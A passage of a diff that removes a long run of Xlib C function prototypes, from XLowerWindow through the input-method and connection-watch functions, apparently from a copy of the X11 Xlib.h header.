- Colormap /* colormap */,
- _Xconst char* /* color_name */,
- XColor* /* exact_def_return */,
- XColor* /* screen_def_return */
-#endif
-);
-
-extern int XLowerWindow(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */
-#endif
-);
-
-extern int XMapRaised(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */
-#endif
-);
-
-extern int XMapSubwindows(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */
-#endif
-);
-
-extern int XMapWindow(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */
-#endif
-);
-
-extern int XMaskEvent(
-#if NeedFunctionPrototypes
- Display* /* display */,
- long /* event_mask */,
- XEvent* /* event_return */
-#endif
-);
-
-extern int XMaxCmapsOfScreen(
-#if NeedFunctionPrototypes
- Screen* /* screen */
-#endif
-);
-
-extern int XMinCmapsOfScreen(
-#if NeedFunctionPrototypes
- Screen* /* screen */
-#endif
-);
-
-extern int XMoveResizeWindow(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */,
- int /* x */,
- int /* y */,
- unsigned int /* width */,
- unsigned int /* height */
-#endif
-);
-
-extern int XMoveWindow(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */,
- int /* x */,
- int /* y */
-#endif
-);
-
-extern int XNextEvent(
-#if NeedFunctionPrototypes
- Display* /* display */,
- XEvent* /* event_return */
-#endif
-);
-
-extern int XNoOp(
-#if NeedFunctionPrototypes
- Display* /* display */
-#endif
-);
-
-extern Status XParseColor(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Colormap /* colormap */,
- _Xconst char* /* spec */,
- XColor* /* exact_def_return */
-#endif
-);
-
-extern int XParseGeometry(
-#if NeedFunctionPrototypes
- _Xconst char* /* parsestring */,
- int* /* x_return */,
- int* /* y_return */,
- unsigned int* /* width_return */,
- unsigned int* /* height_return */
-#endif
-);
-
-extern int XPeekEvent(
-#if NeedFunctionPrototypes
- Display* /* display */,
- XEvent* /* event_return */
-#endif
-);
-
-extern int XPeekIfEvent(
-#if NeedFunctionPrototypes
- Display* /* display */,
- XEvent* /* event_return */,
- Bool (*) (
-#if NeedNestedPrototypes
- Display* /* display */,
- XEvent* /* event */,
- XPointer /* arg */
-#endif
- ) /* predicate */,
- XPointer /* arg */
-#endif
-);
-
-extern int XPending(
-#if NeedFunctionPrototypes
- Display* /* display */
-#endif
-);
-
-extern int XPlanesOfScreen(
-#if NeedFunctionPrototypes
- Screen* /* screen */
-
-#endif
-);
-
-extern int XProtocolRevision(
-#if NeedFunctionPrototypes
- Display* /* display */
-#endif
-);
-
-extern int XProtocolVersion(
-#if NeedFunctionPrototypes
- Display* /* display */
-#endif
-);
-
-
-extern int XPutBackEvent(
-#if NeedFunctionPrototypes
- Display* /* display */,
- XEvent* /* event */
-#endif
-);
-
-extern int XPutImage(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Drawable /* d */,
- GC /* gc */,
- XImage* /* image */,
- int /* src_x */,
- int /* src_y */,
- int /* dest_x */,
- int /* dest_y */,
- unsigned int /* width */,
- unsigned int /* height */
-#endif
-);
-
-extern int XQLength(
-#if NeedFunctionPrototypes
- Display* /* display */
-#endif
-);
-
-extern Status XQueryBestCursor(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Drawable /* d */,
- unsigned int /* width */,
- unsigned int /* height */,
- unsigned int* /* width_return */,
- unsigned int* /* height_return */
-#endif
-);
-
-extern Status XQueryBestSize(
-#if NeedFunctionPrototypes
- Display* /* display */,
- int /* class */,
- Drawable /* which_screen */,
- unsigned int /* width */,
- unsigned int /* height */,
- unsigned int* /* width_return */,
- unsigned int* /* height_return */
-#endif
-);
-
-extern Status XQueryBestStipple(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Drawable /* which_screen */,
- unsigned int /* width */,
- unsigned int /* height */,
- unsigned int* /* width_return */,
- unsigned int* /* height_return */
-#endif
-);
-
-extern Status XQueryBestTile(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Drawable /* which_screen */,
- unsigned int /* width */,
- unsigned int /* height */,
- unsigned int* /* width_return */,
- unsigned int* /* height_return */
-#endif
-);
-
-extern int XQueryColor(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Colormap /* colormap */,
- XColor* /* def_in_out */
-#endif
-);
-
-extern int XQueryColors(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Colormap /* colormap */,
- XColor* /* defs_in_out */,
- int /* ncolors */
-#endif
-);
-
-extern Bool XQueryExtension(
-#if NeedFunctionPrototypes
- Display* /* display */,
- _Xconst char* /* name */,
- int* /* major_opcode_return */,
- int* /* first_event_return */,
- int* /* first_error_return */
-#endif
-);
-
-extern int XQueryKeymap(
-#if NeedFunctionPrototypes
- Display* /* display */,
- char [32] /* keys_return */
-#endif
-);
-
-extern Bool XQueryPointer(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */,
- Window* /* root_return */,
- Window* /* child_return */,
- int* /* root_x_return */,
- int* /* root_y_return */,
- int* /* win_x_return */,
- int* /* win_y_return */,
- unsigned int* /* mask_return */
-#endif
-);
-
-extern int XQueryTextExtents(
-#if NeedFunctionPrototypes
- Display* /* display */,
- XID /* font_ID */,
- _Xconst char* /* string */,
- int /* nchars */,
- int* /* direction_return */,
- int* /* font_ascent_return */,
- int* /* font_descent_return */,
- XCharStruct* /* overall_return */
-#endif
-);
-
-extern int XQueryTextExtents16(
-#if NeedFunctionPrototypes
- Display* /* display */,
- XID /* font_ID */,
- _Xconst XChar2b* /* string */,
- int /* nchars */,
- int* /* direction_return */,
- int* /* font_ascent_return */,
- int* /* font_descent_return */,
- XCharStruct* /* overall_return */
-#endif
-);
-
-extern Status XQueryTree(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */,
- Window* /* root_return */,
- Window* /* parent_return */,
- Window** /* children_return */,
- unsigned int* /* nchildren_return */
-#endif
-);
-
-extern int XRaiseWindow(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */
-#endif
-);
-
-extern int XReadBitmapFile(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Drawable /* d */,
- _Xconst char* /* filename */,
- unsigned int* /* width_return */,
- unsigned int* /* height_return */,
- Pixmap* /* bitmap_return */,
- int* /* x_hot_return */,
- int* /* y_hot_return */
-#endif
-);
-
-extern int XReadBitmapFileData(
-#if NeedFunctionPrototypes
- _Xconst char* /* filename */,
- unsigned int* /* width_return */,
- unsigned int* /* height_return */,
- unsigned char** /* data_return */,
- int* /* x_hot_return */,
- int* /* y_hot_return */
-#endif
-);
-
-extern int XRebindKeysym(
-#if NeedFunctionPrototypes
- Display* /* display */,
- KeySym /* keysym */,
- KeySym* /* list */,
- int /* mod_count */,
- _Xconst unsigned char* /* string */,
- int /* bytes_string */
-#endif
-);
-
-extern int XRecolorCursor(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Cursor /* cursor */,
- XColor* /* foreground_color */,
- XColor* /* background_color */
-#endif
-);
-
-extern int XRefreshKeyboardMapping(
-#if NeedFunctionPrototypes
- XMappingEvent* /* event_map */
-#endif
-);
-
-extern int XRemoveFromSaveSet(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */
-#endif
-);
-
-extern int XRemoveHost(
-#if NeedFunctionPrototypes
- Display* /* display */,
- XHostAddress* /* host */
-#endif
-);
-
-extern int XRemoveHosts(
-#if NeedFunctionPrototypes
- Display* /* display */,
- XHostAddress* /* hosts */,
- int /* num_hosts */
-#endif
-);
-
-extern int XReparentWindow(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */,
- Window /* parent */,
- int /* x */,
- int /* y */
-#endif
-);
-
-extern int XResetScreenSaver(
-#if NeedFunctionPrototypes
- Display* /* display */
-#endif
-);
-
-extern int XResizeWindow(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */,
- unsigned int /* width */,
- unsigned int /* height */
-#endif
-);
-
-extern int XRestackWindows(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window* /* windows */,
- int /* nwindows */
-#endif
-);
-
-extern int XRotateBuffers(
-#if NeedFunctionPrototypes
- Display* /* display */,
- int /* rotate */
-#endif
-);
-
-extern int XRotateWindowProperties(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */,
- Atom* /* properties */,
- int /* num_prop */,
- int /* npositions */
-#endif
-);
-
-extern int XScreenCount(
-#if NeedFunctionPrototypes
- Display* /* display */
-#endif
-);
-
-extern int XSelectInput(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */,
- long /* event_mask */
-#endif
-);
-
-extern Status XSendEvent(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */,
- Bool /* propagate */,
- long /* event_mask */,
- XEvent* /* event_send */
-#endif
-);
-
-extern int XSetAccessControl(
-#if NeedFunctionPrototypes
- Display* /* display */,
- int /* mode */
-#endif
-);
-
-extern int XSetArcMode(
-#if NeedFunctionPrototypes
- Display* /* display */,
- GC /* gc */,
- int /* arc_mode */
-#endif
-);
-
-extern int XSetBackground(
-#if NeedFunctionPrototypes
- Display* /* display */,
- GC /* gc */,
- unsigned long /* background */
-#endif
-);
-
-extern int XSetClipMask(
-#if NeedFunctionPrototypes
- Display* /* display */,
- GC /* gc */,
- Pixmap /* pixmap */
-#endif
-);
-
-extern int XSetClipOrigin(
-#if NeedFunctionPrototypes
- Display* /* display */,
- GC /* gc */,
- int /* clip_x_origin */,
- int /* clip_y_origin */
-#endif
-);
-
-extern int XSetClipRectangles(
-#if NeedFunctionPrototypes
- Display* /* display */,
- GC /* gc */,
- int /* clip_x_origin */,
- int /* clip_y_origin */,
- XRectangle* /* rectangles */,
- int /* n */,
- int /* ordering */
-#endif
-);
-
-extern int XSetCloseDownMode(
-#if NeedFunctionPrototypes
- Display* /* display */,
- int /* close_mode */
-#endif
-);
-
-extern int XSetCommand(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */,
- char** /* argv */,
- int /* argc */
-#endif
-);
-
-extern int XSetDashes(
-#if NeedFunctionPrototypes
- Display* /* display */,
- GC /* gc */,
- int /* dash_offset */,
- _Xconst char* /* dash_list */,
- int /* n */
-#endif
-);
-
-extern int XSetFillRule(
-#if NeedFunctionPrototypes
- Display* /* display */,
- GC /* gc */,
- int /* fill_rule */
-#endif
-);
-
-extern int XSetFillStyle(
-#if NeedFunctionPrototypes
- Display* /* display */,
- GC /* gc */,
- int /* fill_style */
-#endif
-);
-
-extern int XSetFont(
-#if NeedFunctionPrototypes
- Display* /* display */,
- GC /* gc */,
- Font /* font */
-#endif
-);
-
-extern int XSetFontPath(
-#if NeedFunctionPrototypes
- Display* /* display */,
- char** /* directories */,
- int /* ndirs */
-#endif
-);
-
-extern int XSetForeground(
-#if NeedFunctionPrototypes
- Display* /* display */,
- GC /* gc */,
- unsigned long /* foreground */
-#endif
-);
-
-extern int XSetFunction(
-#if NeedFunctionPrototypes
- Display* /* display */,
- GC /* gc */,
- int /* function */
-#endif
-);
-
-extern int XSetGraphicsExposures(
-#if NeedFunctionPrototypes
- Display* /* display */,
- GC /* gc */,
- Bool /* graphics_exposures */
-#endif
-);
-
-extern int XSetIconName(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */,
- _Xconst char* /* icon_name */
-#endif
-);
-
-extern int XSetInputFocus(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* focus */,
- int /* revert_to */,
- Time /* time */
-#endif
-);
-
-extern int XSetLineAttributes(
-#if NeedFunctionPrototypes
- Display* /* display */,
- GC /* gc */,
- unsigned int /* line_width */,
- int /* line_style */,
- int /* cap_style */,
- int /* join_style */
-#endif
-);
-
-extern int XSetModifierMapping(
-#if NeedFunctionPrototypes
- Display* /* display */,
- XModifierKeymap* /* modmap */
-#endif
-);
-
-extern int XSetPlaneMask(
-#if NeedFunctionPrototypes
- Display* /* display */,
- GC /* gc */,
- unsigned long /* plane_mask */
-#endif
-);
-
-extern int XSetPointerMapping(
-#if NeedFunctionPrototypes
- Display* /* display */,
- _Xconst unsigned char* /* map */,
- int /* nmap */
-#endif
-);
-
-extern int XSetScreenSaver(
-#if NeedFunctionPrototypes
- Display* /* display */,
- int /* timeout */,
- int /* interval */,
- int /* prefer_blanking */,
- int /* allow_exposures */
-#endif
-);
-
-extern int XSetSelectionOwner(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Atom /* selection */,
- Window /* owner */,
- Time /* time */
-#endif
-);
-
-extern int XSetState(
-#if NeedFunctionPrototypes
- Display* /* display */,
- GC /* gc */,
- unsigned long /* foreground */,
- unsigned long /* background */,
- int /* function */,
- unsigned long /* plane_mask */
-#endif
-);
-
-extern int XSetStipple(
-#if NeedFunctionPrototypes
- Display* /* display */,
- GC /* gc */,
- Pixmap /* stipple */
-#endif
-);
-
-extern int XSetSubwindowMode(
-#if NeedFunctionPrototypes
- Display* /* display */,
- GC /* gc */,
- int /* subwindow_mode */
-#endif
-);
-
-extern int XSetTSOrigin(
-#if NeedFunctionPrototypes
- Display* /* display */,
- GC /* gc */,
- int /* ts_x_origin */,
- int /* ts_y_origin */
-#endif
-);
-
-extern int XSetTile(
-#if NeedFunctionPrototypes
- Display* /* display */,
- GC /* gc */,
- Pixmap /* tile */
-#endif
-);
-
-extern int XSetWindowBackground(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */,
- unsigned long /* background_pixel */
-#endif
-);
-
-extern int XSetWindowBackgroundPixmap(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */,
- Pixmap /* background_pixmap */
-#endif
-);
-
-extern int XSetWindowBorder(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */,
- unsigned long /* border_pixel */
-#endif
-);
-
-extern int XSetWindowBorderPixmap(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */,
- Pixmap /* border_pixmap */
-#endif
-);
-
-extern int XSetWindowBorderWidth(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */,
- unsigned int /* width */
-#endif
-);
-
-extern int XSetWindowColormap(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */,
- Colormap /* colormap */
-#endif
-);
-
-extern int XStoreBuffer(
-#if NeedFunctionPrototypes
- Display* /* display */,
- _Xconst char* /* bytes */,
- int /* nbytes */,
- int /* buffer */
-#endif
-);
-
-extern int XStoreBytes(
-#if NeedFunctionPrototypes
- Display* /* display */,
- _Xconst char* /* bytes */,
- int /* nbytes */
-#endif
-);
-
-extern int XStoreColor(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Colormap /* colormap */,
- XColor* /* color */
-#endif
-);
-
-extern int XStoreColors(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Colormap /* colormap */,
- XColor* /* color */,
- int /* ncolors */
-#endif
-);
-
-extern int XStoreName(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */,
- _Xconst char* /* window_name */
-#endif
-);
-
-extern int XStoreNamedColor(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Colormap /* colormap */,
- _Xconst char* /* color */,
- unsigned long /* pixel */,
- int /* flags */
-#endif
-);
-
-extern int XSync(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Bool /* discard */
-#endif
-);
-
-extern int XTextExtents(
-#if NeedFunctionPrototypes
- XFontStruct* /* font_struct */,
- _Xconst char* /* string */,
- int /* nchars */,
- int* /* direction_return */,
- int* /* font_ascent_return */,
- int* /* font_descent_return */,
- XCharStruct* /* overall_return */
-#endif
-);
-
-extern int XTextExtents16(
-#if NeedFunctionPrototypes
- XFontStruct* /* font_struct */,
- _Xconst XChar2b* /* string */,
- int /* nchars */,
- int* /* direction_return */,
- int* /* font_ascent_return */,
- int* /* font_descent_return */,
- XCharStruct* /* overall_return */
-#endif
-);
-
-extern int XTextWidth(
-#if NeedFunctionPrototypes
- XFontStruct* /* font_struct */,
- _Xconst char* /* string */,
- int /* count */
-#endif
-);
-
-extern int XTextWidth16(
-#if NeedFunctionPrototypes
- XFontStruct* /* font_struct */,
- _Xconst XChar2b* /* string */,
- int /* count */
-#endif
-);
-
-extern Bool XTranslateCoordinates(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* src_w */,
- Window /* dest_w */,
- int /* src_x */,
- int /* src_y */,
- int* /* dest_x_return */,
- int* /* dest_y_return */,
- Window* /* child_return */
-#endif
-);
-
-extern int XUndefineCursor(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */
-#endif
-);
-
-extern int XUngrabButton(
-#if NeedFunctionPrototypes
- Display* /* display */,
- unsigned int /* button */,
- unsigned int /* modifiers */,
- Window /* grab_window */
-#endif
-);
-
-extern int XUngrabKey(
-#if NeedFunctionPrototypes
- Display* /* display */,
- int /* keycode */,
- unsigned int /* modifiers */,
- Window /* grab_window */
-#endif
-);
-
-extern int XUngrabKeyboard(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Time /* time */
-#endif
-);
-
-extern int XUngrabPointer(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Time /* time */
-#endif
-);
-
-extern int XUngrabServer(
-#if NeedFunctionPrototypes
- Display* /* display */
-#endif
-);
-
-extern int XUninstallColormap(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Colormap /* colormap */
-#endif
-);
-
-extern int XUnloadFont(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Font /* font */
-#endif
-);
-
-extern int XUnmapSubwindows(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */
-#endif
-);
-
-extern int XUnmapWindow(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */
-#endif
-);
-
-extern int XVendorRelease(
-#if NeedFunctionPrototypes
- Display* /* display */
-#endif
-);
-
-extern int XWarpPointer(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* src_w */,
- Window /* dest_w */,
- int /* src_x */,
- int /* src_y */,
- unsigned int /* src_width */,
- unsigned int /* src_height */,
- int /* dest_x */,
- int /* dest_y */
-#endif
-);
-
-extern int XWidthMMOfScreen(
-#if NeedFunctionPrototypes
- Screen* /* screen */
-#endif
-);
-
-extern int XWidthOfScreen(
-#if NeedFunctionPrototypes
- Screen* /* screen */
-#endif
-);
-
-extern int XWindowEvent(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Window /* w */,
- long /* event_mask */,
- XEvent* /* event_return */
-#endif
-);
-
-extern int XWriteBitmapFile(
-#if NeedFunctionPrototypes
- Display* /* display */,
- _Xconst char* /* filename */,
- Pixmap /* bitmap */,
- unsigned int /* width */,
- unsigned int /* height */,
- int /* x_hot */,
- int /* y_hot */
-#endif
-);
-
-extern Bool XSupportsLocale (void);
-
-extern char *XSetLocaleModifiers(
- const char* /* modifier_list */
-);
-
-extern XOM XOpenOM(
-#if NeedFunctionPrototypes
- Display* /* display */,
- struct _XrmHashBucketRec* /* rdb */,
- _Xconst char* /* res_name */,
- _Xconst char* /* res_class */
-#endif
-);
-
-extern Status XCloseOM(
-#if NeedFunctionPrototypes
- XOM /* om */
-#endif
-);
-
-extern char *XSetOMValues(
-#if NeedVarargsPrototypes
- XOM /* om */,
- ...
-#endif
-);
-
-extern char *XGetOMValues(
-#if NeedVarargsPrototypes
- XOM /* om */,
- ...
-#endif
-);
-
-extern Display *XDisplayOfOM(
-#if NeedFunctionPrototypes
- XOM /* om */
-#endif
-);
-
-extern char *XLocaleOfOM(
-#if NeedFunctionPrototypes
- XOM /* om */
-#endif
-);
-
-extern XOC XCreateOC(
-#if NeedVarargsPrototypes
- XOM /* om */,
- ...
-#endif
-);
-
-extern void XDestroyOC(
-#if NeedFunctionPrototypes
- XOC /* oc */
-#endif
-);
-
-extern XOM XOMOfOC(
-#if NeedFunctionPrototypes
- XOC /* oc */
-#endif
-);
-
-extern char *XSetOCValues(
-#if NeedVarargsPrototypes
- XOC /* oc */,
- ...
-#endif
-);
-
-extern char *XGetOCValues(
-#if NeedVarargsPrototypes
- XOC /* oc */,
- ...
-#endif
-);
-
-extern XFontSet XCreateFontSet(
-#if NeedFunctionPrototypes
- Display* /* display */,
- _Xconst char* /* base_font_name_list */,
- char*** /* missing_charset_list */,
- int* /* missing_charset_count */,
- char** /* def_string */
-#endif
-);
-
-extern void XFreeFontSet(
-#if NeedFunctionPrototypes
- Display* /* display */,
- XFontSet /* font_set */
-#endif
-);
-
-extern int XFontsOfFontSet(
-#if NeedFunctionPrototypes
- XFontSet /* font_set */,
- XFontStruct*** /* font_struct_list */,
- char*** /* font_name_list */
-#endif
-);
-
-extern char *XBaseFontNameListOfFontSet(
-#if NeedFunctionPrototypes
- XFontSet /* font_set */
-#endif
-);
-
-extern char *XLocaleOfFontSet(
-#if NeedFunctionPrototypes
- XFontSet /* font_set */
-#endif
-);
-
-extern Bool XContextDependentDrawing(
-#if NeedFunctionPrototypes
- XFontSet /* font_set */
-#endif
-);
-
-extern Bool XDirectionalDependentDrawing(
-#if NeedFunctionPrototypes
- XFontSet /* font_set */
-#endif
-);
-
-extern Bool XContextualDrawing(
-#if NeedFunctionPrototypes
- XFontSet /* font_set */
-#endif
-);
-
-extern XFontSetExtents *XExtentsOfFontSet(
-#if NeedFunctionPrototypes
- XFontSet /* font_set */
-#endif
-);
-
-extern int XmbTextEscapement(
-#if NeedFunctionPrototypes
- XFontSet /* font_set */,
- _Xconst char* /* text */,
- int /* bytes_text */
-#endif
-);
-
-extern int XwcTextEscapement(
-#if NeedFunctionPrototypes
- XFontSet /* font_set */,
- _Xconst wchar_t* /* text */,
- int /* num_wchars */
-#endif
-);
-
-extern int Xutf8TextEscapement(
-#if NeedFunctionPrototypes
- XFontSet /* font_set */,
- _Xconst char* /* text */,
- int /* bytes_text */
-#endif
-);
-
-extern int XmbTextExtents(
-#if NeedFunctionPrototypes
- XFontSet /* font_set */,
- _Xconst char* /* text */,
- int /* bytes_text */,
- XRectangle* /* overall_ink_return */,
- XRectangle* /* overall_logical_return */
-#endif
-);
-
-extern int XwcTextExtents(
-#if NeedFunctionPrototypes
- XFontSet /* font_set */,
- _Xconst wchar_t* /* text */,
- int /* num_wchars */,
- XRectangle* /* overall_ink_return */,
- XRectangle* /* overall_logical_return */
-#endif
-);
-
-extern int Xutf8TextExtents(
-#if NeedFunctionPrototypes
- XFontSet /* font_set */,
- _Xconst char* /* text */,
- int /* bytes_text */,
- XRectangle* /* overall_ink_return */,
- XRectangle* /* overall_logical_return */
-#endif
-);
-
-extern Status XmbTextPerCharExtents(
-#if NeedFunctionPrototypes
- XFontSet /* font_set */,
- _Xconst char* /* text */,
- int /* bytes_text */,
- XRectangle* /* ink_extents_buffer */,
- XRectangle* /* logical_extents_buffer */,
- int /* buffer_size */,
- int* /* num_chars */,
- XRectangle* /* overall_ink_return */,
- XRectangle* /* overall_logical_return */
-#endif
-);
-
-extern Status XwcTextPerCharExtents(
-#if NeedFunctionPrototypes
- XFontSet /* font_set */,
- _Xconst wchar_t* /* text */,
- int /* num_wchars */,
- XRectangle* /* ink_extents_buffer */,
- XRectangle* /* logical_extents_buffer */,
- int /* buffer_size */,
- int* /* num_chars */,
- XRectangle* /* overall_ink_return */,
- XRectangle* /* overall_logical_return */
-#endif
-);
-
-extern Status Xutf8TextPerCharExtents(
-#if NeedFunctionPrototypes
- XFontSet /* font_set */,
- _Xconst char* /* text */,
- int /* bytes_text */,
- XRectangle* /* ink_extents_buffer */,
- XRectangle* /* logical_extents_buffer */,
- int /* buffer_size */,
- int* /* num_chars */,
- XRectangle* /* overall_ink_return */,
- XRectangle* /* overall_logical_return */
-#endif
-);
-
-extern void XmbDrawText(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Drawable /* d */,
- GC /* gc */,
- int /* x */,
- int /* y */,
- XmbTextItem* /* text_items */,
- int /* nitems */
-#endif
-);
-
-extern void XwcDrawText(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Drawable /* d */,
- GC /* gc */,
- int /* x */,
- int /* y */,
- XwcTextItem* /* text_items */,
- int /* nitems */
-#endif
-);
-
-extern void Xutf8DrawText(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Drawable /* d */,
- GC /* gc */,
- int /* x */,
- int /* y */,
- XmbTextItem* /* text_items */,
- int /* nitems */
-#endif
-);
-
-extern void XmbDrawString(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Drawable /* d */,
- XFontSet /* font_set */,
- GC /* gc */,
- int /* x */,
- int /* y */,
- _Xconst char* /* text */,
- int /* bytes_text */
-#endif
-);
-
-extern void XwcDrawString(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Drawable /* d */,
- XFontSet /* font_set */,
- GC /* gc */,
- int /* x */,
- int /* y */,
- _Xconst wchar_t* /* text */,
- int /* num_wchars */
-#endif
-);
-
-extern void Xutf8DrawString(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Drawable /* d */,
- XFontSet /* font_set */,
- GC /* gc */,
- int /* x */,
- int /* y */,
- _Xconst char* /* text */,
- int /* bytes_text */
-#endif
-);
-
-extern void XmbDrawImageString(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Drawable /* d */,
- XFontSet /* font_set */,
- GC /* gc */,
- int /* x */,
- int /* y */,
- _Xconst char* /* text */,
- int /* bytes_text */
-#endif
-);
-
-extern void XwcDrawImageString(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Drawable /* d */,
- XFontSet /* font_set */,
- GC /* gc */,
- int /* x */,
- int /* y */,
- _Xconst wchar_t* /* text */,
- int /* num_wchars */
-#endif
-);
-
-extern void Xutf8DrawImageString(
-#if NeedFunctionPrototypes
- Display* /* display */,
- Drawable /* d */,
- XFontSet /* font_set */,
- GC /* gc */,
- int /* x */,
- int /* y */,
- _Xconst char* /* text */,
- int /* bytes_text */
-#endif
-);
-
-extern XIM XOpenIM(
-#if NeedFunctionPrototypes
- Display* /* dpy */,
- struct _XrmHashBucketRec* /* rdb */,
- char* /* res_name */,
- char* /* res_class */
-#endif
-);
-
-extern Status XCloseIM(
-#if NeedFunctionPrototypes
- XIM /* im */
-#endif
-);
-
-extern char *XGetIMValues(
-#if NeedVarargsPrototypes
- XIM /* im */, ...
-#endif
-);
-
-extern char *XSetIMValues(
-#if NeedVarargsPrototypes
- XIM /* im */, ...
-#endif
-);
-
-extern Display *XDisplayOfIM(
-#if NeedFunctionPrototypes
- XIM /* im */
-#endif
-);
-
-extern char *XLocaleOfIM(
-#if NeedFunctionPrototypes
- XIM /* im*/
-#endif
-);
-
-extern XIC XCreateIC(
-#if NeedVarargsPrototypes
- XIM /* im */, ...
-#endif
-);
-
-extern void XDestroyIC(
-#if NeedFunctionPrototypes
- XIC /* ic */
-#endif
-);
-
-extern void XSetICFocus(
-#if NeedFunctionPrototypes
- XIC /* ic */
-#endif
-);
-
-extern void XUnsetICFocus(
-#if NeedFunctionPrototypes
- XIC /* ic */
-#endif
-);
-
-extern wchar_t *XwcResetIC(
-#if NeedFunctionPrototypes
- XIC /* ic */
-#endif
-);
-
-extern char *XmbResetIC(
-#if NeedFunctionPrototypes
- XIC /* ic */
-#endif
-);
-
-extern char *Xutf8ResetIC(
-#if NeedFunctionPrototypes
- XIC /* ic */
-#endif
-);
-
-extern char *XSetICValues(
-#if NeedVarargsPrototypes
- XIC /* ic */, ...
-#endif
-);
-
-extern char *XGetICValues(
-#if NeedVarargsPrototypes
- XIC /* ic */, ...
-#endif
-);
-
-extern XIM XIMOfIC(
-#if NeedFunctionPrototypes
- XIC /* ic */
-#endif
-);
-
-extern Bool XFilterEvent(
-#if NeedFunctionPrototypes
- XEvent* /* event */,
- Window /* window */
-#endif
-);
-
-extern int XmbLookupString(
-#if NeedFunctionPrototypes
- XIC /* ic */,
- XKeyPressedEvent* /* event */,
- char* /* buffer_return */,
- int /* bytes_buffer */,
- KeySym* /* keysym_return */,
- Status* /* status_return */
-#endif
-);
-
-extern int XwcLookupString(
-#if NeedFunctionPrototypes
- XIC /* ic */,
- XKeyPressedEvent* /* event */,
- wchar_t* /* buffer_return */,
- int /* wchars_buffer */,
- KeySym* /* keysym_return */,
- Status* /* status_return */
-#endif
-);
-
-extern int Xutf8LookupString(
-#if NeedFunctionPrototypes
- XIC /* ic */,
- XKeyPressedEvent* /* event */,
- char* /* buffer_return */,
- int /* bytes_buffer */,
- KeySym* /* keysym_return */,
- Status* /* status_return */
-#endif
-);
-
-extern XVaNestedList XVaCreateNestedList(
-#if NeedVarargsPrototypes
- int /*unused*/, ...
-#endif
-);
-
-/* internal connections for IMs */
-
-extern Bool XRegisterIMInstantiateCallback(
-#if NeedFunctionPrototypes
- Display* /* dpy */,
- struct _XrmHashBucketRec* /* rdb */,
- char* /* res_name */,
- char* /* res_class */,
- XIDProc /* callback */,
- XPointer /* client_data */
-#endif
-);
-
-extern Bool XUnregisterIMInstantiateCallback(
-#if NeedFunctionPrototypes
- Display* /* dpy */,
- struct _XrmHashBucketRec* /* rdb */,
- char* /* res_name */,
- char* /* res_class */,
- XIDProc /* callback */,
- XPointer /* client_data */
-#endif
-);
-
-typedef void (*XConnectionWatchProc)(
-#if NeedFunctionPrototypes
- Display* /* dpy */,
- XPointer /* client_data */,
- int /* fd */,
- Bool /* opening */, /* open or close flag */
- XPointer* /* watch_data */ /* open sets, close uses */
-#endif
-);
-
-
-extern Status XInternalConnectionNumbers(
-#if NeedFunctionPrototypes
- Display* /* dpy */,
- int** /* fd_return */,
- int* /* count_return */
-#endif
-);
-
-extern void XProcessInternalConnection(
-#if NeedFunctionPrototypes
- Display* /* dpy */,
- int /* fd */
-#endif
-);
-
-extern Status XAddConnectionWatch(
-#if NeedFunctionPrototypes
- Display* /* dpy */,
- XConnectionWatchProc /* callback */,
- XPointer /* client_data */
-#endif
-);
-
-extern void XRemoveConnectionWatch(
